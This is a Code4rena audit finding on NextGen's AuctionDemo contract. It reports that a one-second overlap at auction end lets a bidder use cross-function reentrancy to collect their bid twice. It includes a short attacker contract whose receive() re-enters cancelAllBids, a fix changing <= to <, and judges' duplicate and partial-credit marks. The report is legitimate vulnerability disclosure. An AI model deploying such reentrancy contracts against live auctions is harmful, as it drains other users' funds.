Malicious users can reentrancy and double the bid money in AuctionDemo contract

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124-L130
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L134-L143

Vulnerability details

Impact

When block.timestamp == minter.getAuctionEndTime(_tokenid), user can call to both 2 function claimAuction() and cancelBid(). This one second overlapped issue can lead to malicious users use cross-function reentrancy to get double funds he/she bids. If the fund is big enough, it can drain all the fund in this contract.

Proof of Concept

The hack contract will look something like this:

contract Hack {
    bool called;
    uint256 tokenid;

    function bid(uint256 _tokenid) external payable {
        tokenid = _tokenid;
        auctionDemo.participateToAuction{value: msg.value}(_tokenid);
    }

    receive() external payable {
        if (called) return;
        called = true;

        auctionDemo.cancelAllBids(tokenid);
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

    function cancelBid(uint256 _tokenid, uint256 index) public {
-       require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
+       require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");
        ...
    }

    function cancelAllBids(uint256 _tokenid) public {
-       require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
+       require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");        
        ...
    }

Assessed type

Reentrancy

[c4-pre-sort]

141345 marked the issue as duplicate of #962

[c4-judge]

alex-ppg marked the issue as duplicate of #1323

[c4-judge]

alex-ppg marked the issue as partial-50